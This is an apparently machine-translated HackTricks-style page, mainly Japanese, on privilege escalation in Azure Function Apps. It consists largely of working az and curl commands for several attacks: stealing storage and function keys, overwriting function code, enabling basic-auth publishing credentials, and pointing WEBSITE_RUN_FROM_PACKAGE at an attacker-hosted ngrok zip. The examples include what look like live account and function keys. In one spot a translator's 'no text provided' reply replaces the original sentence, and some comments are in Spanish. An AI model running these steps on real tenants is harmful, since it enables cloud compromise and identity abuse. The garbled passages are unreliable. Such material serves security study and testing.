# Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Function Apps

詳細については次のページを確認してください：

{{#ref}}
../az-services/az-function-apps.md
{{#endref}}

### Bucket Read/Write

関数のデータを格納している Storage Account 内のコンテナを読み取る権限があれば、**異なるコンテナ**（カスタム名または事前定義された名前）を見つけ、その中に**関数が実行するコード**が含まれている可能性があります。

関数のコードがどこにあるかを特定して、それに対して書き込み権限がある場合、関数に任意のコードを実行させ、関数に紐づく managed identities への権限昇格が可能になります。

- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` 

関数のコードは通常 file share 内に格納されます。十分なアクセス権があればコードファイルを改変して、関数に任意のコードを読み込ませ、Function に紐付く managed identities への権限昇格を行うことができます。

This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
これらの設定には、Function がコードにアクセスするために使用できる **Storage Account Key** が含まれます。

> [!CAUTION]
> File Share に接続して実行中の **スクリプトを変更する** ための十分な権限があれば、Function 内で任意のコードを実行し権限昇格することが可能です。

以下の例は macOS を使って file share に接続する方法を示していますが、file share に関する詳細は次のページも確認することを推奨します：

{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)

function app が使用している Storage Account container の `function-releases` フォルダ内に **zip releases** が格納されていることもよくあります。通常、そのコンテナ名は **`function-releases`** です。

通常、このデプロイ方法は `WEBSITE_RUN_FROM_PACKAGE` 設定を次に設定します:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.

> [!CAUTION]
> 十分な権限で、その**contains the code in zip**を含むblob containerに接続できる場合、Function内で任意のコードを実行して権限を昇格させることができます。

- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)

前のケースと同様に、デプロイがGithub Actions経由で行われている場合、Storage Account内にコードのzipを含むフォルダ**`github-actions-deploy`**が見つかり、設定`WEBSITE_RUN_FROM_PACKAGE`にzipへのSAS URLが含まれていることがあります。

- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)

Functionのデータを格納するStorage Account内のコンテナを読み取る権限があれば、コンテナ**`scm-releases`**を見つけられます。そこには最新のリリースが**Squashfs filesystem file format**で格納されており、そのためFunctionのコードを読むことが可能です:
```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
ストレージアカウントのコンテナ **`azure-webjobs-secrets`** の **`<app-name>`** フォルダ内にある JSON ファイルから、**master and functions keys** を見つけられることもあります。

> [!CAUTION]
> 十分な権限でその blob container に接続でき、かつそこが **contains the code in a zip extension file**（実際には **`squashfs`**）を含んでいる場合、it's possible to execute arbitrary code in the Function and escalate privileges.
```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### `Microsoft.Web/sites/host/listkeys/action`

この権限により、指定した function の function、master、system キーを一覧表示できますが、host キーは含まれません。次の方法で取得できます：
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
master key を使うと、次のような URL でソースコードを取得することも可能です:
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
そして、関数で実行されている**コードを変更する**には:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`

この権限により、指定した関数のデフォルトキーを次の方法で取得できます:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
取得した既定のキーを使用して関数を呼び出す:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`

この権限は、指定した関数の関数キーを次の内容で作成／更新することを許可します:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`

このアクセス許可は、次の方法で指定された関数のマスターキーを作成／更新することを許可します：
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> このキーがあれば、前述のとおりソースコードにアクセスして変更することもできることを忘れないでください！

### `Microsoft.Web/sites/host/systemKeys/write`

This permission allows to create/update a system function key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
翻訳対象のファイル内容（または該当部分）と "Use the key:" の後に続くキーを貼ってください。現在、翻訳するテキストが提供されていません。
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`

この権限により Function の設定を取得できます。これらの設定内でデフォルト値 **`AzureWebJobsStorage`** や **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** を見つけられることがあり、これらには Function の blob storage に対して **フル権限でアクセスするためのアカウントキー** が含まれています。
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
さらに、この権限により **SCM username and password**（有効になっている場合）を次の方法で取得することもできます：
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`

これらの権限は、先に見たように function の設定値を一覧表示できるだけでなく、**これらの値を変更する**ことも可能にします。これらの設定は function 内で実行されるコードがどこにあるかを示すため、**`WEBSITE_RUN_FROM_PACKAGE`** を web アプリケーション内で実行される新しいコードを含む ZIP ファイルの URL を指すように設定することができます:

- まず現在の設定を取得します
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- 関数に実行させたいコードを作成し、公開してホストする
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```
関数を修正し、以前のパラメータは保持したまま、最後にコードを含む**zip**が置かれたURLを指す設定 **`WEBSITE_RUN_FROM_PACKAGE`** を追加してください。

以下は私の**自分の設定の例（値はご自身のものに変更してください）**です。末尾の値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注目してください。ここにアプリをホストしていました。
```bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### `Microsoft.Web/sites/hostruntime/vfs/write`

この権限があれば、web コンソール（または以下の API エンドポイント）を通じて、**アプリケーションのコードを変更できます**:
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)

この権限により、基本的に**basic auth credentials**を含むすべての publishing profiles を一覧できます:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```
別のオプションとして、自分の creds を設定して次のように使用することができます:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- **REDACTED** credentials の場合

それらの credentials が **REDACTED** と表示される場合、それは **need to enable the SCM basic authentication option** が必要で、そのために二番目の権限（`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`）が必要だからです:
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **方法 SCM**

その後、function app の SCM URL にこれらの **basic auth credentials to the SCM URL** でアクセスし、env variables の値を取得できます:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._

次のURLからウェブページにもアクセスできます: `https://<app-name>.scm.azurewebsites.net/BasicAuth`

設定値には、function app のデータを格納する storage account の **AccountKey** が含まれており、その storage account を制御することが可能です。

- **Method FTP**

以下を使ってFTPサーバに接続します:
```bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_注意: **FTP username** は通常 \<app-name>\\$\<app-name> の形式です._

### `Microsoft.Web/sites/hostruntime/vfs/read`

この権限により、VFS を通じてアプリの **ソースコードを読み取る** ことができます:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`

この権限があれば、[get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) を取得でき、それを使って後に **master key** を取得し、function's code にアクセスして変更することができます。

ただし、私の最近の確認では token は返されませんでした。無効化されているか、動作しなくなっている可能性がありますが、以下はその実行方法です：
```bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)

この権限により、無効になっている可能性のある **Functions を有効化**（または無効化）できます。
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
次の URL で、関数が有効か無効かを確認することもできます（括弧内の権限を使用）：
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)

これらの権限があれば、**function app が実行するコンテナを変更することが可能です**。これにより攻撃者は悪意のある azure function container app を docker hub（例えば）にアップロードし、function app にそれを実行させることができます。
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)

これらの権限があれば、**attach a new user managed identity to a function** が可能です。function が compromised している場合、これにより any user managed identity に対して escalate privileges することができます。
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging

実行中の Azure function に接続してデバッグすることも可能です（[**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)）。ただし、開発者が設定を忘れて脆弱な構成のままにしてしまうのを防ぐため、既定では Azure はこのオプションを 2 日後に無効にします。

Function にデバッグが有効かどうかは、次のように確認できます:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
権限 `Microsoft.Web/sites/config/write` を持っていると、関数をデバッグモードにすることも可能です（以下のコマンドは `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要とします）。
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Github リポジトリを変更する

次のコマンドを実行してデプロイ元の Github リポジトリを変更してみましたが、たとえ変更されても **新しいコードは読み込まれませんでした**（おそらく Github Action がコードを更新するのを期待しているためです）。\
さらに、**managed identity federated credential が新しいリポジトリを許可するようには更新されませんでした**ので、あまり有用ではないようです。
```bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
```
{{#include ../../../banners/hacktricks-training.md}}
